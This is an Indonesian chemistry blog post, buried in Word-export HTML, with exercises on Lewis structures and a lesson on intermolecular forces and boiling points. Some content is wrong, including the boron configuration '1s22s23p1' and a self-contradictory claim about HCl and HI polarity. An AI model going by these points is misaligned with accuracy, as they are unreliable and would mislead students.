&lt;br /&gt;&lt;span class="fullpost"  style="font-family:arial;"&gt;&lt;meta equiv="Content-Type" content="text/html; charset=utf-8"&gt;&lt;meta name="ProgId" content="Word.Document"&gt;&lt;meta name="Generator" content="Microsoft Word 12"&gt;&lt;meta name="Originator" content="Microsoft Word 12"&gt;&lt;link rel="File-List" href="file:///C:%5CDOCUME%7E1%5CADMINI%7E1%5CLOCALS%7E1%5CTemp%5Cmsohtmlclip1%5C01%5Cclip_filelist.xml"&gt;&lt;link rel="themeData" href="file:///C:%5CDOCUME%7E1%5CADMINI%7E1%5CLOCALS%7E1%5CTemp%5Cmsohtmlclip1%5C01%5Cclip_themedata.thmx"&gt;&lt;link rel="colorSchemeMapping" href="file:///C:%5CDOCUME%7E1%5CADMINI%7E1%5CLOCALS%7E1%5CTemp%5Cmsohtmlclip1%5C01%5Cclip_colorschememapping.xml"&gt;&lt;!--[if gte mso 9]&gt;&lt;xml&gt;  &lt;w:worddocument&gt;   &lt;w:view&gt;Normal&lt;/w:View&gt;   &lt;w:zoom&gt;0&lt;/w:Zoom&gt;   &lt;w:trackmoves/&gt;   &lt;w:trackformatting/&gt;   &lt;w:punctuationkerning/&gt;   &lt;w:validateagainstschemas/&gt;   &lt;w:saveifxmlinvalid&gt;false&lt;/w:SaveIfXMLInvalid&gt;   &lt;w:ignoremixedcontent&gt;false&lt;/w:IgnoreMixedContent&gt;   &lt;w:alwaysshowplaceholdertext&gt;false&lt;/w:AlwaysShowPlaceholderText&gt;   &lt;w:donotpromoteqf/&gt;   &lt;w:lidthemeother&gt;EN-GB&lt;/w:LidThemeOther&gt;   &lt;w:lidthemeasian&gt;X-NONE&lt;/w:LidThemeAsian&gt;   &lt;w:lidthemecomplexscript&gt;AR-SA&lt;/w:LidThemeComplexScript&gt;   &lt;w:compatibility&gt;    &lt;w:breakwrappedtables/&gt;    &lt;w:snaptogridincell/&gt;    &lt;w:wraptextwithpunct/&gt;    &lt;w:useasianbreakrules/&gt;    &lt;w:dontgrowautofit/&gt;    &lt;w:splitpgbreakandparamark/&gt;    &lt;w:dontvertaligncellwithsp/&gt;    &lt;w:dontbreakconstrainedforcedtables/&gt;    &lt;w:dontvertalignintxbx/&gt;    &lt;w:word11kerningpairs/&gt;    &lt;w:cachedcolbalance/&gt;   &lt;/w:Compatibility&gt;   &lt;m:mathpr&gt;    &lt;m:mathfont val="Cambria Math"&gt;    &lt;m:brkbin val="before"&gt;    &lt;m:brkbinsub val="--"&gt;    &lt;m:smallfrac val="off"&gt;    &lt;m:dispdef/&gt;    &lt;m:lmargin val="0"&gt;    &lt;m:rmargin val="0"&gt;    &lt;m:defjc val="centerGroup"&gt;    &lt;m:wrapindent val="1440"&gt;    &lt;m:intlim val="subSup"&gt;    &lt;m:narylim val="undOvr"&gt;   &lt;/m:mathPr&gt;&lt;/w:WordDocument&gt; &lt;/xml&gt;&lt;![endif]--&gt;&lt;!--[if gte mso 9]&gt;&lt;xml&gt;  &lt;w:latentstyles deflockedstate="false" defunhidewhenused="true" defsemihidden="true" defqformat="false" defpriority="99" latentstylecount="267"&gt;   &lt;w:lsdexception locked="false" priority="0" semihidden="false" unhidewhenused="false" qformat="true" name="Normal"&gt;   &lt;w:lsdexception locked="false" priority="9" semihidden="false" unhidewhenused="false" qformat="true" name="heading 1"&gt;   &lt;w:lsdexception locked="false" priority="9" qformat="true" name="heading 2"&gt;   &lt;w:lsdexception locked="false" priority="9" qformat="true" name="heading 3"&gt;   &lt;w:lsdexception locked="false" priority="9" qformat="true" name="heading 4"&gt;   &lt;w:lsdexception locked="false" priority="9" qformat="true" name="heading 5"&gt;   &lt;w:lsdexception locked="false" priority="9" qformat="true" name="heading 6"&gt;   &lt;w:lsdexception locked="false" priority="9" qformat="true" name="heading 7"&gt;   &lt;w:lsdexception locked="false" priority="9" qformat="true" name="heading 8"&gt;   &lt;w:lsdexception locked="false" priority="9" qformat="true" name="heading 9"&gt;   &lt;w:lsdexception locked="false" priority="39" name="toc 1"&gt;   &lt;w:lsdexception locked="false" priority="39" name="toc 2"&gt;   &lt;w:lsdexception locked="false" priority="39" name="toc 3"&gt;   &lt;w:lsdexception locked="false" priority="39" name="toc 4"&gt;   &lt;w:lsdexception locked="false" priority="39" name="toc 5"&gt;   &lt;w:lsdexception locked="false" priority="39" name="toc 6"&gt;   &lt;w:lsdexception locked="false" priority="39" name="toc 7"&gt;   &lt;w:lsdexception locked="false" priority="39" name="toc 8"&gt;   &lt;w:lsdexception locked="false" priority="39" name="toc 9"&gt;   &lt;w:lsdexception locked="false" priority="35" qformat="true" name="caption"&gt;   &lt;w:lsdexception locked="false" priority="10" semihidden="false" unhidewhenused="false" qformat="true" name="Title"&gt;   &lt;w:lsdexception locked="false" priority="1" name="Default Paragraph Font"&gt;   &lt;w:lsdexception locked="false" priority="11" semihidden="false" unhidewhenused="false" qformat="true" name="Subtitle"&gt;   &lt;w:lsdexception locked="false" priority="22" semihidden="false" unhidewhenused="false" qformat="true" name="Strong"&gt;   &lt;w:lsdexception locked="false" priority="20" semihidden="false" unhidewhenused="false" qformat="true" name="Emphasis"&gt;   &lt;w:lsdexception locked="false" priority="59" semihidden="false" unhidewhenused="false" name="Table Grid"&gt;   &lt;w:lsdexception locked="false" unhidewhenused="false" name="Placeholder Text"&gt;   &lt;w:lsdexception locked="false" priority="1" semihidden="false" unhidewhenused="false" qformat="true" name="No Spacing"&gt;   &lt;w:lsdexception locked="false" priority="60" semihidden="false" unhidewhenused="false" name="Light Shading"&gt;   &lt;w:lsdexception locked="false" priority="61" semihidden="false" unhidewhenused="false" name="Light List"&gt;   &lt;w:lsdexception locked="false" priority="62" semihidden="false" unhidewhenused="false" name="Light Grid"&gt;   &lt;w:lsdexception locked="false" priority="63" semihidden="false" unhidewhenused="false" name="Medium Shading 1"&gt;   &lt;w:lsdexception locked="false" priority="64" semihidden="false" unhidewhenused="false" name="Medium Shading 2"&gt;   &lt;w:lsdexception locked="false" priority="65" semihidden="false" unhidewhenused="false" name="Medium List 1"&gt;   &lt;w:lsdexception locked="false" priority="66" semihidden="false" unhidewhenused="false" name="Medium List 2"&gt;   &lt;w:lsdexception locked="false" priority="67" semihidden="false" unhidewhenused="false" name="Medium Grid 1"&gt;   &lt;w:lsdexception locked="false" priority="68" semihidden="false" unhidewhenused="false" name="Medium Grid 2"&gt;   &lt;w:lsdexception locked="false" priority="69" semihidden="false" unhidewhenused="false" name="Medium Grid 3"&gt;   &lt;w:lsdexception locked="false" priority="70" semihidden="false" unhidewhenused="false" name="Dark List"&gt;   &lt;w:lsdexception locked="false" priority="71" semihidden="false" unhidewhenused="false" name="Colorful Shading"&gt;   &lt;w:lsdexception locked="false" priority="72" semihidden="false" unhidewhenused="false" name="Colorful List"&gt;   &lt;w:lsdexception locked="false" priority="73" semihidden="false" unhidewhenused="false" name="Colorful Grid"&gt;   &lt;w:lsdexception locked="false" priority="60" semihidden="false" unhidewhenused="false" name="Light Shading Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="61" semihidden="false" unhidewhenused="false" name="Light List Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="62" semihidden="false" unhidewhenused="false" name="Light Grid Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="63" semihidden="false" unhidewhenused="false" name="Medium Shading 1 Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="64" semihidden="false" unhidewhenused="false" name="Medium Shading 2 Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="65" semihidden="false" unhidewhenused="false" name="Medium List 1 Accent 1"&gt;   &lt;w:lsdexception locked="false" unhidewhenused="false" name="Revision"&gt;   &lt;w:lsdexception locked="false" priority="34" semihidden="false" unhidewhenused="false" qformat="true" name="List Paragraph"&gt;   &lt;w:lsdexception locked="false" priority="29" semihidden="false" unhidewhenused="false" qformat="true" name="Quote"&gt;   &lt;w:lsdexception locked="false" priority="30" semihidden="false" unhidewhenused="false" qformat="true" name="Intense Quote"&gt;   &lt;w:lsdexception locked="false" priority="66" semihidden="false" unhidewhenused="false" name="Medium List 2 Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="67" semihidden="false" unhidewhenused="false" name="Medium Grid 1 Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="68" semihidden="false" unhidewhenused="false" name="Medium Grid 2 Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="69" semihidden="false" unhidewhenused="false" name="Medium Grid 3 Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="70" semihidden="false" unhidewhenused="false" name="Dark List Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="71" semihidden="false" unhidewhenused="false" name="Colorful Shading Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="72" semihidden="false" unhidewhenused="false" name="Colorful List Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="73" semihidden="false" unhidewhenused="false" name="Colorful Grid Accent 1"&gt;   &lt;w:lsdexception locked="false" priority="60" semihidden="false" unhidewhenused="false" name="Light Shading Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="61" semihidden="false" unhidewhenused="false" name="Light List Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="62" semihidden="false" unhidewhenused="false" name="Light Grid Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="63" semihidden="false" unhidewhenused="false" name="Medium Shading 1 Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="64" semihidden="false" unhidewhenused="false" name="Medium Shading 2 Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="65" semihidden="false" unhidewhenused="false" name="Medium List 1 Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="66" semihidden="false" unhidewhenused="false" name="Medium List 2 Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="67" semihidden="false" unhidewhenused="false" name="Medium Grid 1 Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="68" semihidden="false" unhidewhenused="false" name="Medium Grid 2 Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="69" semihidden="false" unhidewhenused="false" name="Medium Grid 3 Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="70" semihidden="false" unhidewhenused="false" name="Dark List Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="71" semihidden="false" unhidewhenused="false" name="Colorful Shading Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="72" semihidden="false" unhidewhenused="false" name="Colorful List Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="73" semihidden="false" unhidewhenused="false" name="Colorful Grid Accent 2"&gt;   &lt;w:lsdexception locked="false" priority="60" semihidden="false" unhidewhenused="false" name="Light Shading Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="61" semihidden="false" unhidewhenused="false" name="Light List Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="62" semihidden="false" unhidewhenused="false" name="Light Grid Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="63" semihidden="false" unhidewhenused="false" name="Medium Shading 1 Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="64" semihidden="false" unhidewhenused="false" name="Medium Shading 2 Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="65" semihidden="false" unhidewhenused="false" name="Medium List 1 Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="66" semihidden="false" unhidewhenused="false" name="Medium List 2 Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="67" semihidden="false" unhidewhenused="false" name="Medium Grid 1 Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="68" semihidden="false" unhidewhenused="false" name="Medium Grid 2 Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="69" semihidden="false" unhidewhenused="false" name="Medium Grid 3 Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="70" semihidden="false" unhidewhenused="false" name="Dark List Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="71" semihidden="false" unhidewhenused="false" name="Colorful Shading Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="72" semihidden="false" unhidewhenused="false" name="Colorful List Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="73" semihidden="false" unhidewhenused="false" name="Colorful Grid Accent 3"&gt;   &lt;w:lsdexception locked="false" priority="60" semihidden="false" unhidewhenused="false" name="Light Shading Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="61" semihidden="false" unhidewhenused="false" name="Light List Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="62" semihidden="false" unhidewhenused="false" name="Light Grid Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="63" semihidden="false" unhidewhenused="false" name="Medium Shading 1 Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="64" semihidden="false" unhidewhenused="false" name="Medium Shading 2 Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="65" semihidden="false" unhidewhenused="false" name="Medium List 1 Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="66" semihidden="false" unhidewhenused="false" name="Medium List 2 Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="67" semihidden="false" unhidewhenused="false" name="Medium Grid 1 Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="68" semihidden="false" unhidewhenused="false" name="Medium Grid 2 Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="69" semihidden="false" unhidewhenused="false" name="Medium Grid 3 Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="70" semihidden="false" unhidewhenused="false" name="Dark List Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="71" semihidden="false" unhidewhenused="false" name="Colorful Shading Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="72" semihidden="false" unhidewhenused="false" name="Colorful List Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="73" semihidden="false" unhidewhenused="false" name="Colorful Grid Accent 4"&gt;   &lt;w:lsdexception locked="false" priority="60" semihidden="false" unhidewhenused="false" name="Light Shading Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="61" semihidden="false" unhidewhenused="false" name="Light List Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="62" semihidden="false" unhidewhenused="false" name="Light Grid Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="63" semihidden="false" unhidewhenused="false" name="Medium Shading 1 Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="64" semihidden="false" unhidewhenused="false" name="Medium Shading 2 Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="65" semihidden="false" unhidewhenused="false" name="Medium List 1 Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="66" semihidden="false" unhidewhenused="false" name="Medium List 2 Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="67" semihidden="false" unhidewhenused="false" name="Medium Grid 1 Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="68" semihidden="false" unhidewhenused="false" name="Medium Grid 2 Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="69" semihidden="false" unhidewhenused="false" name="Medium Grid 3 Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="70" semihidden="false" unhidewhenused="false" name="Dark List Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="71" semihidden="false" unhidewhenused="false" name="Colorful Shading Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="72" semihidden="false" unhidewhenused="false" name="Colorful List Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="73" semihidden="false" unhidewhenused="false" name="Colorful Grid Accent 5"&gt;   &lt;w:lsdexception locked="false" priority="60" semihidden="false" unhidewhenused="false" name="Light Shading Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="61" semihidden="false" unhidewhenused="false" name="Light List Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="62" semihidden="false" unhidewhenused="false" name="Light Grid Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="63" semihidden="false" unhidewhenused="false" name="Medium Shading 1 Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="64" semihidden="false" unhidewhenused="false" name="Medium Shading 2 Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="65" semihidden="false" unhidewhenused="false" name="Medium List 1 Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="66" semihidden="false" unhidewhenused="false" name="Medium List 2 Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="67" semihidden="false" unhidewhenused="false" name="Medium Grid 1 Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="68" semihidden="false" unhidewhenused="false" name="Medium Grid 2 Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="69" semihidden="false" unhidewhenused="false" name="Medium Grid 3 Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="70" semihidden="false" unhidewhenused="false" name="Dark List Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="71" semihidden="false" unhidewhenused="false" name="Colorful Shading Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="72" semihidden="false" unhidewhenused="false" name="Colorful List Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="73" semihidden="false" unhidewhenused="false" name="Colorful Grid Accent 6"&gt;   &lt;w:lsdexception locked="false" priority="19" semihidden="false" unhidewhenused="false" qformat="true" name="Subtle Emphasis"&gt;   &lt;w:lsdexception locked="false" priority="21" semihidden="false" unhidewhenused="false" qformat="true" name="Intense Emphasis"&gt;   &lt;w:lsdexception locked="false" priority="31" semihidden="false" unhidewhenused="false" qformat="true" name="Subtle Reference"&gt;   &lt;w:lsdexception locked="false" priority="32" semihidden="false" unhidewhenused="false" qformat="true" name="Intense Reference"&gt;   &lt;w:lsdexception locked="false" priority="33" semihidden="false" unhidewhenused="false" qformat="true" name="Book Title"&gt;   &lt;w:lsdexception locked="false" priority="37" name="Bibliography"&gt;   &lt;w:lsdexception locked="false" priority="39" qformat="true" name="TOC Heading"&gt;  &lt;/w:LatentStyles&gt; &lt;/xml&gt;&lt;![endif]--&gt;&lt;style&gt; &lt;!--  /* Font Definitions */  @font-face 	{font-family:"Cambria Math"; 	panose-1:2 4 5 3 5 4 6 3 2 4; 	mso-font-charset:1; 	mso-generic-font-family:roman; 	mso-font-format:other; 	mso-font-pitch:variable; 	mso-font-signature:0 0 0 0 0 0;} @font-face 	{font-family:Calibri; 	panose-1:2 15 5 2 2 2 4 3 2 4; 	mso-font-charset:0; 	mso-generic-font-family:swiss; 	mso-font-pitch:variable; 	mso-font-signature:-1610611985 1073750139 0 0 159 0;}  /* Style Definitions */  p.MsoNormal, li.MsoNormal, div.MsoNormal 	{mso-style-unhide:no; 	mso-style-qformat:yes; 	mso-style-parent:""; 	margin-top:0cm; 	margin-right:0cm; 	margin-bottom:10.0pt; 	margin-left:0cm; 	line-height:115%; 	mso-pagination:widow-orphan; 	font-size:11.0pt; 	font-family:"Calibri","sans-serif"; 	mso-ascii-font-family:Calibri; 	mso-ascii-theme-font:minor-latin; 	mso-fareast-font-family:Calibri; 	mso-fareast-theme-font:minor-latin; 	mso-hansi-font-family:Calibri; 	mso-hansi-theme-font:minor-latin; 	mso-bidi-font-family:Arial; 	mso-bidi-theme-font:minor-bidi; 	mso-fareast-language:EN-US;} p 	{mso-style-priority:99; 	mso-margin-top-alt:auto; 	margin-right:0cm; 	mso-margin-bottom-alt:auto; 	margin-left:0cm; 	mso-pagination:widow-orphan; 	font-size:12.0pt; 	font-family:"Times New Roman","serif"; 	mso-fareast-font-family:"Times New Roman";} .MsoChpDefault 	{mso-style-type:export-only; 	mso-default-props:yes; 	mso-ascii-font-family:Calibri; 	mso-ascii-theme-font:minor-latin; 	mso-fareast-font-family:Calibri; 	mso-fareast-theme-font:minor-latin; 	mso-hansi-font-family:Calibri; 	mso-hansi-theme-font:minor-latin; 	mso-bidi-font-family:Arial; 	mso-bidi-theme-font:minor-bidi; 	mso-fareast-language:EN-US;} .MsoPapDefault 	{mso-style-type:export-only; 	margin-bottom:10.0pt; 	line-height:115%;} @page Section1 	{size:612.0pt 792.0pt; 	margin:72.0pt 72.0pt 72.0pt 72.0pt; 	mso-header-margin:36.0pt; 	mso-footer-margin:36.0pt; 	mso-paper-source:0;} div.Section1 	{page:Section1;} --&gt; &lt;/style&gt;&lt;!--[if gte mso 10]&gt; &lt;style&gt;  /* Style Definitions */  table.MsoNormalTable 	{mso-style-name:"Table Normal"; 	mso-tstyle-rowband-size:0; 	mso-tstyle-colband-size:0; 	mso-style-noshow:yes; 	mso-style-priority:99; 	mso-style-qformat:yes; 	mso-style-parent:""; 	mso-padding-alt:0cm 5.4pt 0cm 5.4pt; 	mso-para-margin-top:0cm; 	mso-para-margin-right:0cm; 	mso-para-margin-bottom:10.0pt; 	mso-para-margin-left:0cm; 	line-height:115%; 	mso-pagination:widow-orphan; 	font-size:11.0pt; 	font-family:"Calibri","sans-serif"; 	mso-ascii-font-family:Calibri; 	mso-ascii-theme-font:minor-latin; 	mso-hansi-font-family:Calibri; 	mso-hansi-theme-font:minor-latin; 	mso-fareast-language:EN-US;} &lt;/style&gt; &lt;![endif]--&gt;    &lt;p&gt;Dengan mengikuti aturan oktet, tuliskan rumus struktur Lewis senyawa-senyawa berikut: &lt;/p&gt;  &lt;p&gt;(a) hidrogen fluorida HF (b) nitrogen N&lt;sub&gt;2&lt;/sub&gt; (c) metana CH&lt;sub&gt;4&lt;/sub&gt; (d) karbon tetrafluorida CF&lt;sub&gt;4&lt;/sub&gt; (e) kation nitrosil NO&lt;sup&gt;+&lt;/sup&gt; (f) ion karbonat CO&lt;sub&gt;3&lt;/sub&gt;&lt;sup&gt;2-&lt;/sup&gt; (g) asetaldehida HCHO&lt;br /&gt;jawab:&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;&lt;span class="fullpost"  style="font-family:arial;"&gt;&lt;img style="cursor: pointer; width: 400px; height: 233px;" src="http://1.bp.blogspot.com/_lylI1wyyUFQ/Swf7HXA-HWI/AAAAAAAAAHs/6gm1ikuV6qg/s400/ih10.jpg" alt="" id="BLOGGER_PHOTO_ID_5406565981537312098" border="0" /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-style: italic;"&gt; Senyawa-senyawa boron-nitrogen&lt;/span&gt;&lt;br /&gt;Jawablah pertanyaan-pertanyaan berikut:&lt;br /&gt;(1) Tuliskan konfigurasi elektron boron dalam keadaan dasar. (2) Gambarkan rumus struktur Lewis BF3. (3) Gambarkan rumus struktur Lewis NH3. (4) Reaksi antara NH3 dan BF3 menghasilkan senyawa adisi. Jelaskan mengapa reaksi ini berlangsung, dan sarankan struktur senyawa adisinya.&lt;br /&gt;Jawab&lt;br /&gt;(1) 1s22s23p1&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_lylI1wyyUFQ/SwkZn7hyceI/AAAAAAAAAH8/MN-jMvarozE/s1600/ih11.jpg"&gt;&lt;img style="cursor: pointer; width: 400px; height: 135px;" src="http://1.bp.blogspot.com/_lylI1wyyUFQ/SwkZn7hyceI/AAAAAAAAAH8/MN-jMvarozE/s400/ih11.jpg" alt="" id="BLOGGER_PHOTO_ID_5406881001419993570" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;GAYA ANTAR MOLEKUL&lt;/span&gt;&lt;br /&gt;perbedaan sifat fisis (titik didih, titik beku) berdasarkan perbedaan Gaya Antar Molekul.&lt;br /&gt;________________________________________ SIFAT FISIK SUATU MOLEKUL&lt;br /&gt;Sifat fisik suatu molekul ditentukan oleh gaya tarik antar molekul antara lain titik didih dan titik leleh.&lt;br /&gt;Marilah kita pelajari pengaruh masing-masing gaya tarik antar molekul terhadap titik didih molekulnya suatu molekul&lt;br /&gt;Gaya London mengakibatkan titik leleh dan titik didih molekulnya menjadi lebih rendah daripada molekul lain dengan massa atom relatif (Mr) sama yng tidak memiliki Gaya London. Jika molekul-molekulnya kecil, zat-zat ini biasanya berbentuk gas pada suhu kamar.&lt;br /&gt;Molekul yang mempunyai gaya tarik-menarik dipol-dipol menyebabkan titik didih dan titik leleh lebih tinggi daripada molekul yang memiliki Gaya London pada molekul dengan massa molekul relatif sama. Hal ini karena gaya tarik dipol-dipol lebih kuat daripada Gaya London.&lt;br /&gt;Bagaimana titik didih dan titik leleh senyawa yang massa molekul relatifnya (Mr) berbeda jauh sedangkan keduanya bersifat polar ?&lt;br /&gt;Silahkan Anda perhatikan tabel berikut ?&lt;br /&gt;&lt;br /&gt;Tabel 3. Hubungan kepolaran dengan titik didih&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_lylI1wyyUFQ/SwkaOw66ATI/AAAAAAAAAIE/HnfyvMEiZNA/s1600/ih12.jpg"&gt;&lt;img style="cursor: pointer; width: 400px; height: 256px;" src="http://1.bp.blogspot.com/_lylI1wyyUFQ/SwkaOw66ATI/AAAAAAAAAIE/HnfyvMEiZNA/s400/ih12.jpg" alt="" id="BLOGGER_PHOTO_ID_5406881668587454770" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Dari tabel dapat Anda lihat bahwa HI memiliki titik didih yang lebih tinggi daripada HCl sehingga lebih polar dari HI. Massa molekul relatif HI lebih besar daripada HCl sehingga titik didih HI lebih tinggi dari HCl. Hal ini menunjukkan bahwa Gaya London lebih dapat digunakan dalam membandingkan sifat zat dengan massa molekul relatif yang jauh berbeda.&lt;br /&gt;Selanjutnya, bagaimana pengaruh ikatan hidrogen terhadap sifat fisik suatu senyawa ?&lt;br /&gt;Ikatan hidrogen tidak hanya berpengaruh pada titik didih dan titk leleh suatu zat tetapi juga kalarutannya dalam suatu pelarut.&lt;br /&gt;Senyawa yang berikatan hidrogen mudah larut dalam senyawa lain yang juga berikatan hidrogen. Contohnya NH3 dalam H2O seperti pada gambar 11.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_lylI1wyyUFQ/SwkavUYklFI/AAAAAAAAAIM/aRIIt5SrHIg/s1600/ih13.jpg"&gt;&lt;img style="cursor: pointer; width: 400px; height: 257px;" src="http://1.bp.blogspot.com/_lylI1wyyUFQ/SwkavUYklFI/AAAAAAAAAIM/aRIIt5SrHIg/s400/ih13.jpg" alt="" id="BLOGGER_PHOTO_ID_5406882227862934610" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Gambar 11 . Ikatan Hidrogen antara NH3 dengan air.&lt;br /&gt;&lt;br /&gt;Senyawa organik-alkohol, asam karboksilat, amina, glukosa-larut dalam air karena membentuk ikatan hidrogen dengan molekul air.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_lylI1wyyUFQ/SwkbRLLTLyI/AAAAAAAAAIU/iRyzh-MREfk/s1600/ih14.jpg"&gt;&lt;img style="cursor: pointer; width: 400px; height: 278px;" src="http://3.bp.blogspot.com/_lylI1wyyUFQ/SwkbRLLTLyI/AAAAAAAAAIU/iRyzh-MREfk/s400/ih14.jpg" alt="" id="BLOGGER_PHOTO_ID_5406882809506901794" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Gambar 12. Ikatan Hidrogen antar Molekul Etanol dengan air&lt;br /&gt;&lt;br /&gt;Senyawa yang memilih ikatan hydrogen akan memilih titik didih lebih tinggi dari pada molekul yang memilih ikatan Van Der Waals atau gaya tarik dipol-dipol. Senyawa hydrida dari unsur golongan IV, V dan VI memilih gaya Van Der Waals yang bertambah dari atas ke bawah setiap golongannya, sehingga titik didih dan titik lelehnya seharusnya meningkat tetepi kenyataannya berbeda.&lt;br /&gt;Perhatikan gambar 13 grafik berikut ini.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_lylI1wyyUFQ/Swkbn3AH3xI/AAAAAAAAAIc/nDvp4-PxsxA/s1600/ih15.jpg"&gt;&lt;img style="cursor: pointer; width: 400px; height: 243px;" src="http://2.bp.blogspot.com/_lylI1wyyUFQ/Swkbn3AH3xI/AAAAAAAAAIc/nDvp4-PxsxA/s400/ih15.jpg" alt="" id="BLOGGER_PHOTO_ID_5406883199228305170" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Gambar 13. Titik leleh dan titik didih gas mulia dan&lt;br /&gt;&lt;br /&gt;senyawa Hidrogen dari golongan IVA,VA,VIA dan VIIA.&lt;br /&gt;Pada gambar 13 ditunjukan titik didih dan titik leleh untuk lima golongan zat. Perhatikan grafik Ne Ke Xe dan CH4 ke SnH4, molekul non polar saling tarik menarik oleh dipol terimbas sesaat atau Gaya London. Kedua grafik ini untuk membandingkan titik didih dari pasangan molekul yang Massa Molekul relatif hampir sama. Perhatikan Ne dan CH4. molekul gas mulia mempunyai distribusi elektron yang sederhana sedangkan CH4 merupakan tetrahedron (segi empat) yang menggembung dan saling tarik menarik lebih kuat. Akibatnya titik didih CH4 lebih tinggi daripada Ne.&lt;br /&gt;Bandingkan molekul yang strukturnya berlainan tetapi massa molekul relatifnya hampir sama.&lt;br /&gt;Perhatikan titk didih Ve, SnH4, HI, SbH3, dan H2Te. Tiga yang terakhir ini memiliki titik didh yang lebih tinggi karena molekul-molekul ini merupakan senyawa polar yang memerlukan energi kinetik yang lebih besar untuk memisahkan masing-masing unsurnya satu sama lain.&lt;br /&gt;Untuk lebih memperjelas pemahaman, gambar 13 dapat kita uraikan satu persatu, sebagai berikut :&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_lylI1wyyUFQ/SwkeEKPLN3I/AAAAAAAAAIk/ni52jxIdOR8/s1600/ih16.jpg"&gt;&lt;img style="cursor: pointer; width: 400px; height: 230px;" src="http://3.bp.blogspot.com/_lylI1wyyUFQ/SwkeEKPLN3I/AAAAAAAAAIk/ni52jxIdOR8/s400/ih16.jpg" alt="" 